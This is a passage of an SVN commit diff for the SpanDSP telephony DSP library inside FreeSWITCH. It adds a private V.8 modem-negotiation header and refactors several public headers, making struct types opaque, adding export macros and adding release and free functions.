+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v8.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v8.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v8.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v8.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v8.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v8.h - V.8 modem negotiation processing.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v8.h,v 1.1 2008/10/13 13:14:01 steveu Exp $
+ */
+ 
+#if !defined(_SPANDSP_PRIVATE_V8_H_)
+#define _SPANDSP_PRIVATE_V8_H_
+
+struct v8_state_s
+{
+    /*! \brief TRUE if we are the calling modem */
+    int caller;
+    /*! \brief The current state of the V8 protocol */
+    int state;
+    int negotiation_timer;
+    int ci_timer;
+    int ci_count;
+    fsk_tx_state_t v21tx;
+    fsk_rx_state_t v21rx;
+    queue_state_t *tx_queue;
+    modem_connect_tones_tx_state_t ansam_tx;
+    modem_connect_tones_rx_state_t ansam_rx;
+
+    v8_result_handler_t *result_handler;
+    void *result_handler_user_data;
+
+    /*! \brief Modulation schemes available at this end. */
+    int available_modulations;
+    int common_modulations;
+    int negotiated_modulation;
+    int far_end_modulations;
+    
+    int call_function;
+    int protocol;
+    int pstn_access;
+    int nsf_seen;
+    int pcm_modem_availability;
+    int t66_seen;
+
+    /* V8 data parsing */
+    unsigned int bit_stream;
+    int bit_cnt;
+    /* Indicates the type of message coming up */
+    int preamble_type;
+    uint8_t rx_data[64];
+    int rx_data_ptr;
+    
+    /*! \brief a reference copy of the last CM or JM message, used when
+               testing for matches. */
+    uint8_t cm_jm_data[64];
+    int cm_jm_count;
+    int got_cm_jm;
+    int got_cj;
+    int zero_byte_count;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/queue.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/queue.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/queue.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: queue.h,v 1.17 2008/09/09 16:25:51 steveu Exp $
+ * $Id: queue.h,v 1.21 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -53,21 +53,7 @@
     Queue descriptor. This defines the working state for a single instance of
     a byte stream or message oriented queue.
 */
-typedef struct
-{
-    /*! \brief Flags indicating the mode of the queue. */
-    int flags;
-    /*! \brief The length of the data buffer. */
-    int len;
-    /*! \brief The buffer input pointer. */
-    volatile int iptr;
-    /*! \brief The buffer output pointer. */
-    volatile int optr;
-#if defined(FULLY_DEFINE_QUEUE_STATE_T)
-    /*! \brief The data buffer, sized at the time the structure is created. */
-    uint8_t data[];
-#endif
-} queue_state_t;
+typedef struct queue_state_s queue_state_t;
 
 #define QUEUE_STATE_T_SIZE(len) (sizeof(queue_state_t) + len + 1)
 
@@ -80,24 +66,24 @@
     \brief Check if a queue is empty.
     \param s The queue context.
     \return TRUE if empty, else FALSE. */
-int queue_empty(queue_state_t *s);
+SPAN_DECLARE(int) queue_empty(queue_state_t *s);
 
 /*! Check the available free space in a queue's buffer.
     \brief Check available free space.
     \param s The queue context.
     \return The number of bytes of free space. */
-int queue_free_space(queue_state_t *s);
+SPAN_DECLARE(int) queue_free_space(queue_state_t *s);
 
 /*! Check the contents of a queue.
     \brief Check the contents of a queue.
     \param s The queue context.
     \return The number of bytes in the queue. */
-int queue_contents(queue_state_t *s);
+SPAN_DECLARE(int) queue_contents(queue_state_t *s);
 
 /*! Flush the contents of a queue.
     \brief Flush the contents of a queue.
     \param s The queue context. */
-void queue_flush(queue_state_t *s);
+SPAN_DECLARE(void) queue_flush(queue_state_t *s);
 
 /*! Copy bytes from a queue. This is similar to queue_read, but
     the data remains in the queue.
@@ -106,7 +92,7 @@
     \param buf The buffer into which the bytes will be read.
     \param len The length of the buffer.
     \return the number of bytes returned. */
-int queue_view(queue_state_t *s, uint8_t *buf, int len);
+SPAN_DECLARE(int) queue_view(queue_state_t *s, uint8_t *buf, int len);
 
 /*! Read bytes from a queue.
     \brief Read bytes from a queue.
@@ -114,13 +100,13 @@
     \param buf The buffer into which the bytes will be read.
     \param len The length of the buffer.
     \return the number of bytes returned. */
-int queue_read(queue_state_t *s, uint8_t *buf, int len);
+SPAN_DECLARE(int) queue_read(queue_state_t *s, uint8_t *buf, int len);
 
 /*! Read a byte from a queue.
     \brief Read a byte from a queue.
     \param s The queue context.
     \return the byte, or -1 if the queue is empty. */
-int queue_read_byte(queue_state_t *s);
+SPAN_DECLARE(int) queue_read_byte(queue_state_t *s);
 
 /*! Write bytes to a queue.
     \brief Write bytes to a queue.
@@ -128,21 +114,21 @@
     \param buf The buffer containing the bytes to be written.
     \param len The length of the buffer.
     \return the number of bytes actually written. */
-int queue_write(queue_state_t *s, const uint8_t *buf, int len);
+SPAN_DECLARE(int) queue_write(queue_state_t *s, const uint8_t *buf, int len);
 
 /*! Write a byte to a queue.
     \brief Write a byte to a queue.
     \param s The queue context.
     \param byte The byte to be written.
     \return the number of bytes actually written. */
-int queue_write_byte(queue_state_t *s, uint8_t byte);
+SPAN_DECLARE(int) queue_write_byte(queue_state_t *s, uint8_t byte);
 
 /*! Test the length of the message at the head of a queue.
     \brief Test message length.
     \param s The queue context.
     \return The length of the next message, in byte. If there are
             no messages in the queue, -1 is returned. */
-int queue_state_test_msg(queue_state_t *s);
+SPAN_DECLARE(int) queue_state_test_msg(queue_state_t *s);
 
 /*! Read a message from a queue. If the message is longer than the buffer
     provided, only the first len bytes of the message will be returned. The
@@ -153,7 +139,7 @@
     \param len The length of the buffer.
     \return The number of bytes returned. If there are
             no messages in the queue, -1 is returned. */
-int queue_read_msg(queue_state_t *s, uint8_t *buf, int len);
+SPAN_DECLARE(int) queue_read_msg(queue_state_t *s, uint8_t *buf, int len);
 
 /*! Write a message to a queue.
     \brief Write a message to a queue.
@@ -161,7 +147,7 @@
     \param buf The buffer from which the message will be written.
     \param len The length of the message.
     \return The number of bytes actually written. */
-int queue_write_msg(queue_state_t *s, const uint8_t *buf, int len);
+SPAN_DECLARE(int) queue_write_msg(queue_state_t *s, const uint8_t *buf, int len);
 
 /*! Initialise a queue.
     \brief Initialise a queue.
@@ -172,13 +158,19 @@
     \param flags Flags controlling the operation of the queue.
            Valid flags are QUEUE_READ_ATOMIC and QUEUE_WRITE_ATOMIC.
     \return A pointer to the context if OK, else NULL. */
-queue_state_t *queue_init(queue_state_t *s, int len, int flags);
+SPAN_DECLARE(queue_state_t *) queue_init(queue_state_t *s, int len, int flags);
 
-/*! Delete a queue.
+/*! Release a queue.
+    \brief Release a queue.
+    \param s The queue context.
+    \return 0 if OK, else -1. */
+SPAN_DECLARE(int) queue_release(queue_state_t *s);
+
+/*! Free a queue.
     \brief Delete a queue.
     \param s The queue context.
-    \return 0 if deleted OK, else -1. */
-int queue_free(queue_state_t *s);
+    \return 0 if OK, else -1. */
+SPAN_DECLARE(int) queue_free(queue_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/saturated.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/saturated.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/saturated.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: saturated.h,v 1.1 2008/09/19 14:02:05 steveu Exp $
+ * $Id: saturated.h,v 1.4 2009/02/05 12:21:36 steveu Exp $
  */
 
 /*! \file */
@@ -75,7 +75,7 @@
         return INT16_MAX;
     if (famp < (float) INT16_MIN)
         return INT16_MIN;
-    return (int16_t) rintf(famp);
+    return (int16_t) lrintf(famp);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -85,10 +85,33 @@
         return INT16_MAX;
     if (damp < (double) INT16_MIN)
         return INT16_MIN;
-    return (int16_t) rint(damp);
+    return (int16_t) lrint(damp);
 }
 /*- End of function --------------------------------------------------------*/
 
+/* Saturate to a 16 bit integer, using the fastest float to int conversion */
+static __inline__ int16_t ffastsaturatef(float famp)
+{
+    if (famp > (float) INT16_MAX)
+        return INT16_MAX;
+    if (famp < (float) INT16_MIN)
+        return INT16_MIN;
+    return (int16_t) lfastrintf(famp);
+}
+/*- End of function --------------------------------------------------------*/
+
+/* Saturate to a 16 bit integer, using the fastest double to int conversion */
+static __inline__ int16_t ffastsaturate(double damp)
+{
+    if (damp > (double) INT16_MAX)
+        return INT16_MAX;
+    if (damp < (double) INT16_MIN)
+        return INT16_MIN;
+    return (int16_t) lfastrint(damp);
+}
+/*- End of function --------------------------------------------------------*/
+
+/* Saturate to a 16 bit integer, using the closest float to int conversion */
 static __inline__ float ffsaturatef(float famp)
 {
     if (famp > (float) INT16_MAX)
@@ -99,6 +122,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+/* Saturate to a 16 bit integer, using the closest double to int conversion */
 static __inline__ double ffsaturate(double famp)
 {
     if (famp > (double) INT16_MAX)

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/schedule.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/schedule.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/schedule.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: schedule.h,v 1.16 2008/04/17 14:27:00 steveu Exp $
+ * $Id: schedule.h,v 1.20 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -38,42 +38,29 @@
 #if !defined(_SPANDSP_SCHEDULE_H_)
 #define _SPANDSP_SCHEDULE_H_
 
-typedef struct span_sched_state_s span_sched_state_t;
-
-typedef void (*span_sched_callback_func_t)(span_sched_state_t *s, void *user_data);
-
 /*! A scheduled event entry. */
-typedef struct
-{
-    uint64_t when;
-    span_sched_callback_func_t callback;
-    void *user_data;
-} span_sched_t;
+typedef struct span_sched_s span_sched_t;
 
 /*! A scheduled event queue. */
-struct span_sched_state_s
-{
-    uint64_t ticker;
-    int allocated;
-    int max_to_date;
-    span_sched_t *sched;
-    logging_state_t logging;
-};
+typedef struct span_sched_state_s span_sched_state_t;
 
+typedef void (*span_sched_callback_func_t)(span_sched_state_t *s, void *user_data);
+
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
-uint64_t span_schedule_next(span_sched_state_t *s);
-uint64_t span_schedule_time(span_sched_state_t *s);
+SPAN_DECLARE(uint64_t) span_schedule_next(span_sched_state_t *s);
+SPAN_DECLARE(uint64_t) span_schedule_time(span_sched_state_t *s);
 
-int span_schedule_event(span_sched_state_t *s, int us, span_sched_callback_func_t function, void *user_data);
-void span_schedule_update(span_sched_state_t *s, int us);
-void span_schedule_del(span_sched_state_t *s, int id);
+SPAN_DECLARE(int) span_schedule_event(span_sched_state_t *s, int us, span_sched_callback_func_t function, void *user_data);
+SPAN_DECLARE(void) span_schedule_update(span_sched_state_t *s, int us);
+SPAN_DECLARE(void) span_schedule_del(span_sched_state_t *s, int id);
 
-span_sched_state_t *span_schedule_init(span_sched_state_t *s);
-int span_schedule_release(span_sched_state_t *s);
+SPAN_DECLARE(span_sched_state_t *) span_schedule_init(span_sched_state_t *s);
+SPAN_DECLARE(int) span_schedule_release(span_sched_state_t *s);
+SPAN_DECLARE(int) span_schedule_free(span_sched_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/sig_tone.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/sig_tone.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/sig_tone.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: sig_tone.h,v 1.14 2008/07/29 14:15:21 steveu Exp $
+ * $Id: sig_tone.h,v 1.19 2009/04/12 14:18:02 steveu Exp $
  */
 
 /*! \file */
@@ -87,153 +87,12 @@
     single instance of the transmit and receive sides of a signaling
     tone processor.
 */
-typedef struct
-{
-    /*! \brief The tones used. */
-    int tone_freq[2];
-    /*! \brief The high and low tone amplitudes. */
-    int tone_amp[2];
+typedef struct sig_tone_descriptor_s sig_tone_descriptor_t;
 
-    /*! \brief The delay, in audio samples, before the high level tone drops
-               to a low level tone. */
-    int high_low_timeout;
+typedef struct sig_tone_tx_state_s sig_tone_tx_state_t;
 
-    /*! \brief Some signaling tone detectors use a sharp initial filter,
-               changing to a broader band filter after some delay. This
-               parameter defines the delay. 0 means it never changes. */
-    int sharp_flat_timeout;
+typedef struct sig_tone_rx_state_s sig_tone_rx_state_t;
 
-    /*! \brief Parameters to control the behaviour of the notch filter, used
-               to remove the tone from the voice path in some protocols. */
-    int notch_lag_time;
-    int notch_allowed;
-
-    /*! \brief The tone on persistence check, in audio samples. */
-    int tone_on_check_time;
-    /*! \brief The tone off persistence check, in audio samples. */
-    int tone_off_check_time;
-
-    int tones;
-    /*! \brief The coefficients for the cascaded bi-quads notch filter. */
-    struct
-    {
-#if defined(SPANDSP_USE_FIXED_POINT)
-        int32_t notch_a1[3];
-        int32_t notch_b1[3];
-        int32_t notch_a2[3];
-        int32_t notch_b2[3];
-        int notch_postscale;
-#else
-        float notch_a1[3];
-        float notch_b1[3];
-        float notch_a2[3];
-        float notch_b2[3];
-#endif
-    } tone[2];
-
-
-    /*! \brief Flat mode bandpass bi-quad parameters */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int32_t broad_a[3];
-    int32_t broad_b[3];
-    int broad_postscale;
-#else
-    float broad_a[3];
-    float broad_b[3];
-#endif
-    /*! \brief The coefficients for the post notch leaky integrator. */
-    int32_t notch_slugi;
-    int32_t notch_slugp;
-
-    /*! \brief The coefficients for the post modulus leaky integrator in the
-               unfiltered data path.  The prescale value incorporates the
-               detection ratio. This is called the guard ratio in some
-               protocols. */
-    int32_t unfiltered_slugi;
-    int32_t unfiltered_slugp;
-
-    /*! \brief The coefficients for the post modulus leaky integrator in the
-               bandpass filter data path. */
-    int32_t broad_slugi;
-    int32_t broad_slugp;
-
-    /*! \brief Masks which effectively threshold the notched, weighted and
-               bandpassed data. */
-    int32_t notch_threshold;
-    int32_t unfiltered_threshold;
-    int32_t broad_threshold;
-} sig_tone_descriptor_t;
-
-typedef struct
-{
-    /*! \brief The callback function used to handle signaling changes. */
-    sig_tone_func_t sig_update;
-    /*! \brief A user specified opaque pointer passed to the callback function. */
-    void *user_data;
-
-    sig_tone_descriptor_t *desc;
-
-    /*! The scaling values for the high and low level tones */
-    int32_t tone_scaling[2];
-    /*! The sample timer, used to switch between the high and low level tones. */
-    int high_low_timer;
-
-    /*! The phase rates for the one or two tones */
-    int32_t phase_rate[2];
-    /*! The phase accumulators for the one or two tones */
-    uint32_t phase_acc[2];
-
-    int current_tx_tone;
-    int current_tx_timeout;
-    int signaling_state_duration;
-} sig_tone_tx_state_t;
-
-typedef struct
-{
-    /*! \brief The callback function used to handle signaling changes. */
-    sig_tone_func_t sig_update;
-    /*! \brief A user specified opaque pointer passed to the callback function. */
-    void *user_data;
-
-    sig_tone_descriptor_t *desc;
-
-    int current_rx_tone;
-    int high_low_timer;
-
-    struct
-    {
-        /*! \brief The z's for the notch filter */
-#if defined(SPANDSP_USE_FIXED_POINT)
-        int32_t notch_z1[3];
-        int32_t notch_z2[3];
-#else
-        float notch_z1[3];
-        float notch_z2[3];
-#endif
-
-        /*! \brief The z's for the notch integrators. */
-        int32_t notch_zl;
-    } tone[2];
-
-    /*! \brief The z's for the weighting/bandpass filter. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int32_t broad_z[3];
-#else
-    float broad_z[3];
-#endif
-    /*! \brief The z for the broadband integrator. */
-    int32_t broad_zl;
-
-    int flat_mode;
-    int tone_present;
-    int notch_enabled;
-    int flat_mode_timeout;
-    int notch_insertion_timeout;
-    int tone_persistence_timeout;
-    
-    int signaling_state_duration;
-} sig_tone_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -245,7 +104,7 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int sig_tone_rx(sig_tone_rx_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(int) sig_tone_rx(sig_tone_rx_state_t *s, int16_t amp[], int len);
 
 /*! Initialise a signaling tone receiver context.
     \brief Initialise a signaling tone context.
@@ -254,21 +113,33 @@
     \param sig_update Callback function to handle signaling updates.
     \param user_data An opaque pointer.
     \return A pointer to the signalling tone context, or NULL if there was a problem. */
-sig_tone_rx_state_t *sig_tone_rx_init(sig_tone_rx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data);
+SPAN_DECLARE(sig_tone_rx_state_t *) sig_tone_rx_init(sig_tone_rx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data);
 
+/*! Release a signaling tone receiver context.
+    \brief Release a signaling tone receiver context.
+    \param s The signaling tone context.
+    \return 0 for OK */
+SPAN_DECLARE(int) sig_tone_rx_release(sig_tone_rx_state_t *s);
+
+/*! Free a signaling tone receiver context.
+    \brief Free a signaling tone receiver context.
+    \param s The signaling tone context.
+    \return 0 for OK */
+SPAN_DECLARE(int) sig_tone_rx_free(sig_tone_rx_state_t *s);
+
 /*! Generate a block of signaling tone audio samples.
     \brief Generate a block of signaling tone audio samples.
     \param s The signaling tone context.
     \param amp The audio sample buffer.
     \param len The number of samples to be generated.
     \return The number of samples actually generated. */
-int sig_tone_tx(sig_tone_tx_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(int) sig_tone_tx(sig_tone_tx_state_t *s, int16_t amp[], int len);
 
 /*! Set the tone mode.
     \brief Set the tone mode.
     \param s The signaling tone context.
     \param mode The new mode for the transmitted tones. */
-void sig_tone_tx_set_mode(sig_tone_tx_state_t *s, int mode);
+SPAN_DECLARE(void) sig_tone_tx_set_mode(sig_tone_tx_state_t *s, int mode);
 
 /*! Initialise a signaling tone transmitter context.
     \brief Initialise a signaling tone context.
@@ -277,8 +148,20 @@
     \param sig_update Callback function to handle signaling updates.
     \param user_data An opaque pointer.
     \return A pointer to the signalling tone context, or NULL if there was a problem. */
-sig_tone_tx_state_t *sig_tone_tx_init(sig_tone_tx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data);
+SPAN_DECLARE(sig_tone_tx_state_t *) sig_tone_tx_init(sig_tone_tx_state_t *s, int tone_type, sig_tone_func_t sig_update, void *user_data);
 
+/*! Release a signaling tone transmitter context.
+    \brief Release a signaling tone transmitter context.
+    \param s The signaling tone context.
+    \return 0 for OK */
+SPAN_DECLARE(int) sig_tone_tx_release(sig_tone_tx_state_t *s);
+
+/*! Free a signaling tone transmitter context.
+    \brief Free a signaling tone transmitter context.
+    \param s The signaling tone context.
+    \return 0 for OK */
+SPAN_DECLARE(int) sig_tone_tx_free(sig_tone_tx_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/silence_gen.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/silence_gen.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/silence_gen.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,23 +22,14 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: silence_gen.h,v 1.12 2008/07/26 04:53:00 steveu Exp $
+ * $Id: silence_gen.h,v 1.18 2009/06/02 16:03:56 steveu Exp $
  */
 
 #if !defined(_SPANDSP_SILENCE_GEN_H_)
 #define _SPANDSP_SILENCE_GEN_H_
 
-typedef struct
-{
-    /*! \brief The callback function used to report status changes. */
-    modem_tx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
+typedef struct silence_gen_state_s silence_gen_state_t;
 
-    int remaining_samples;
-    int total_samples;
-} silence_gen_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -52,20 +43,20 @@
     \return The number of samples actually generated. This will be zero when
             there is nothing to send.
 */
-int silence_gen(silence_gen_state_t *s, int16_t *amp, int max_len);
+SPAN_DECLARE_NONSTD(int) silence_gen(silence_gen_state_t *s, int16_t *amp, int max_len);
 
 /*! Set a silence generator context to output continuous silence.
     \brief Set a silence generator context to output continuous silence.
     \param s The silence generator context.
 */
-void silence_gen_always(silence_gen_state_t *s);
+SPAN_DECLARE(void) silence_gen_always(silence_gen_state_t *s);
 
 /*! Set a silence generator context to output a specified period of silence.
     \brief Set a silence generator context to output a specified period of silence.
     \param s The silence generator context.
     \param silent_samples The number of samples to be generated.
 */
-void silence_gen_set(silence_gen_state_t *s, int silent_samples);
+SPAN_DECLARE(void) silence_gen_set(silence_gen_state_t *s, int silent_samples);
 
 /*! Alter the period of a silence generator context by a specified amount.
     \brief Alter the period of a silence generator context by a specified amount.
@@ -74,28 +65,28 @@
                           increases the duration. A negative number reduces it. The duration
                           is prevented from going negative.
 */
-void silence_gen_alter(silence_gen_state_t *s, int silent_samples);
+SPAN_DECLARE(void) silence_gen_alter(silence_gen_state_t *s, int silent_samples);
 
 /*! Find how long a silence generator context has to run.
     \brief Find how long a silence generator context has to run.
     \param s The silence generator context.
     \return The number of samples remaining.
 */
-int silence_gen_remainder(silence_gen_state_t *s);
+SPAN_DECLARE(int) silence_gen_remainder(silence_gen_state_t *s);
 
 /*! Find the total silence generated to date by a silence generator context.
     \brief Find the total silence generated to date.
     \param s The silence generator context.
     \return The number of samples generated.
 */
-int silence_gen_generated(silence_gen_state_t *s);
+SPAN_DECLARE(int) silence_gen_generated(silence_gen_state_t *s);
 
 /*! Change the status reporting function associated with a silence generator context.
     \brief Change the status reporting function associated with a silence generator context.
     \param s The silence generator context.
     \param handler The callback routine used to report status changes.
     \param user_data An opaque pointer. */
-void silence_gen_status_handler(silence_gen_state_t *s, modem_tx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) silence_gen_status_handler(silence_gen_state_t *s, modem_tx_status_func_t handler, void *user_data);
 
 /*! Initialise a timed silence generator context.
     \brief Initialise a timed silence generator context.
@@ -103,8 +94,12 @@
     \param silent_samples The initial number of samples to set the silence to.
     \return A pointer to the silence generator context.
 */
-silence_gen_state_t *silence_gen_init(silence_gen_state_t *s, int silent_samples);
+SPAN_DECLARE(silence_gen_state_t *) silence_gen_init(silence_gen_state_t *s, int silent_samples);
 
+SPAN_DECLARE(int) silence_gen_release(silence_gen_state_t *s);
+
+SPAN_DECLARE(int) silence_gen_free(silence_gen_state_t *s);
+
 /* The following dummy routines, to absorb data, don't really have a proper home,
    so they have been put here. */
 
@@ -117,7 +112,7 @@
     \param len The length of the signal buffer
     \return 0.
 */
-int span_dummy_rx(void *user_data, const int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) span_dummy_rx(void *user_data, const int16_t amp[], int len);
 
 /*! A dummy routine to use as a signal modifier callback, when we aren't
     really trying to process the signal. It just returns without affecting
@@ -128,7 +123,7 @@
     \param len The length of the signal buffer
     \return 0.
 */
-int span_dummy_mod(void *user_data, int16_t amp[], int len);
+SPAN_DECLARE(int) span_dummy_mod(void *user_data, int16_t amp[], int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/super_tone_rx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/super_tone_rx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/super_tone_rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: super_tone_rx.h,v 1.17 2008/06/13 14:46:52 steveu Exp $
+ * $Id: super_tone_rx.h,v 1.21 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_SUPER_TONE_RX_H_)
@@ -57,41 +57,12 @@
 /*! Tone detection indication callback routine */
 typedef void (*tone_report_func_t)(void *user_data, int code, int level, int delay);
 
-#define BINS            128
+typedef struct super_tone_rx_segment_s super_tone_rx_segment_t;
 
-typedef struct
-{
-    int f1;
-    int f2;
-    int recognition_duration;
-    int min_duration;
-    int max_duration;
-} super_tone_rx_segment_t;
+typedef struct super_tone_rx_descriptor_s super_tone_rx_descriptor_t;
 
-typedef struct
-{
-    int used_frequencies;
-    int monitored_frequencies;
-    int pitches[BINS/2][2];
-    int tones;
-    super_tone_rx_segment_t **tone_list;
-    int *tone_segs;
-    goertzel_descriptor_t *desc;
-} super_tone_rx_descriptor_t;
+typedef struct super_tone_rx_state_s super_tone_rx_state_t;
 
-typedef struct
-{
-    super_tone_rx_descriptor_t *desc;
-    float energy;
-    int detected_tone;
-    int rotation;
-    tone_report_func_t tone_callback;
-    void (*segment_callback)(void *data, int f1, int f2, int duration);
-    void *callback_data;
-    super_tone_rx_segment_t segments[11];
-    goertzel_state_t state[];
-} super_tone_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -102,18 +73,18 @@
                 descriptor.
     \return The supervisory tone set descriptor.
 */
-super_tone_rx_descriptor_t *super_tone_rx_make_descriptor(super_tone_rx_descriptor_t *desc);
+SPAN_DECLARE(super_tone_rx_descriptor_t *) super_tone_rx_make_descriptor(super_tone_rx_descriptor_t *desc);
 
 /*! Free a supervisory tone detector descriptor.
     \param desc The supervisory tone set desciptor.
     \return 0 for OK, -1 for fail.
 */
-int super_tone_rx_free_descriptor(super_tone_rx_descriptor_t *desc);
+SPAN_DECLARE(int) super_tone_rx_free_descriptor(super_tone_rx_descriptor_t *desc);
 
 /*! Add a new tone pattern to a supervisory tone detector set.
     \param desc The supervisory tone set descriptor.
     \return The new tone ID. */
-int super_tone_rx_add_tone(super_tone_rx_descriptor_t *desc);
+SPAN_DECLARE(int) super_tone_rx_add_tone(super_tone_rx_descriptor_t *desc);
 
 /*! Add a new tone pattern element to a tone pattern in a supervisory tone detector.
     \param desc The supervisory tone set desciptor.
@@ -124,12 +95,12 @@
     \param max The maximum duration, in ms.
     \return The new number of elements in the tone description.
 */
-int super_tone_rx_add_element(super_tone_rx_descriptor_t *desc,
-                              int tone,
-                              int f1,
-                              int f2,
-                              int min,
-                              int max);
+SPAN_DECLARE(int) super_tone_rx_add_element(super_tone_rx_descriptor_t *desc,
+                                            int tone,
+                                            int f1,
+                                            int f2,
+                                            int min,
+                                            int max);
 
 /*! Initialise a supervisory tone detector.
     \param s The supervisory tone detector context.
@@ -139,24 +110,30 @@
     \param user_data An opaque pointer passed when calling the callback routine.
     \return The supervisory tone detector context.
 */
-super_tone_rx_state_t *super_tone_rx_init(super_tone_rx_state_t *s,
-                                          super_tone_rx_descriptor_t *desc,
-                                          tone_report_func_t callback,
-                                          void *user_data);
+SPAN_DECLARE(super_tone_rx_state_t *) super_tone_rx_init(super_tone_rx_state_t *s,
+                                                         super_tone_rx_descriptor_t *desc,
+                                                         tone_report_func_t callback,
+                                                         void *user_data);
 
 /*! Release a supervisory tone detector.
     \param s The supervisory tone context.
     \return 0 for OK, -1 for fail.
 */
-int super_tone_rx_free(super_tone_rx_state_t *s);
+SPAN_DECLARE(int) super_tone_rx_release(super_tone_rx_state_t *s);
 
+/*! Free a supervisory tone detector.
+    \param s The supervisory tone context.
+    \return 0 for OK, -1 for fail.
+*/
+SPAN_DECLARE(int) super_tone_rx_free(super_tone_rx_state_t *s);
+
 /*! Define a callback routine to be called each time a tone pattern element is complete. This is
     mostly used when analysing a tone.
     \param s The supervisory tone context.
     \param callback The callback routine.
 */
-void super_tone_rx_segment_callback(super_tone_rx_state_t *s,
-                                    void (*callback)(void *data, int f1, int f2, int duration));
+SPAN_DECLARE(void) super_tone_rx_segment_callback(super_tone_rx_state_t *s,
+                                                  void (*callback)(void *data, int f1, int f2, int duration));
 
 /*! Apply supervisory tone detection processing to a block of audio samples.
     \brief Apply supervisory tone detection processing to a block of audio samples.
@@ -165,7 +142,7 @@
